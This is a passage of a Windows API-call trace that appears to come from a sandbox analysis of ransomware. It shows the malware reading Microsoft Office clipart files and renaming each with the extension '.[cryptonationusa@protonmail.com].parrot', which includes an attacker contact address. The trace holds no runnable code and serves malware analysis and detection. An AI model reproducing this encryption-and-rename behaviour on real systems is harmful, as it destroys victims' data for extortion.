[0154.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0154.644] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.644] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.646] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5ac, lpOverlapped=0x0) returned 1 [0154.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01745_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01745_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.652] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.653] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e2, lpOverlapped=0x0) returned 1 [0154.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.657] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.659] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x387, lpOverlapped=0x0) returned 1 [0154.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0154.663] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.663] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.667] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d7, lpOverlapped=0x0) returned 1 [0154.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.671] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.671] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.673] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b4, lpOverlapped=0x0) returned 1 [0154.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.675] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0154.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.677] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.692] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x494, lpOverlapped=0x0) returned 1 [0154.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.699] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.700] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b9, lpOverlapped=0x0) returned 1 [0154.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0154.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.705] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.707] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x304, lpOverlapped=0x0) returned 1 [0154.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.707] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0154.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0154.711] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.711] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.713] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe44, lpOverlapped=0x0) returned 1 [0154.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0154.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.717] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.719] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x446, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x446, lpOverlapped=0x0) returned 1 [0154.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.722] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.724] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5fe, lpOverlapped=0x0) returned 1 [0154.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0154.727] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.727] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.730] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76c, lpOverlapped=0x0) returned 1 [0154.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0154.734] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.734] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.735] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12d1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12d1, lpOverlapped=0x0) returned 1 [0154.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad250 | out: hHeap=0x5b0000) returned 1 [0154.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.741] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.742] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x102b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x102b, lpOverlapped=0x0) returned 1 [0154.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0154.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3174070 | out: hHeap=0x5b0000) returned 1 [0154.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0154.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ad250 | out: hHeap=0x5b0000) returned 1 [0154.748] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0154.748] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0154.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.749] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, 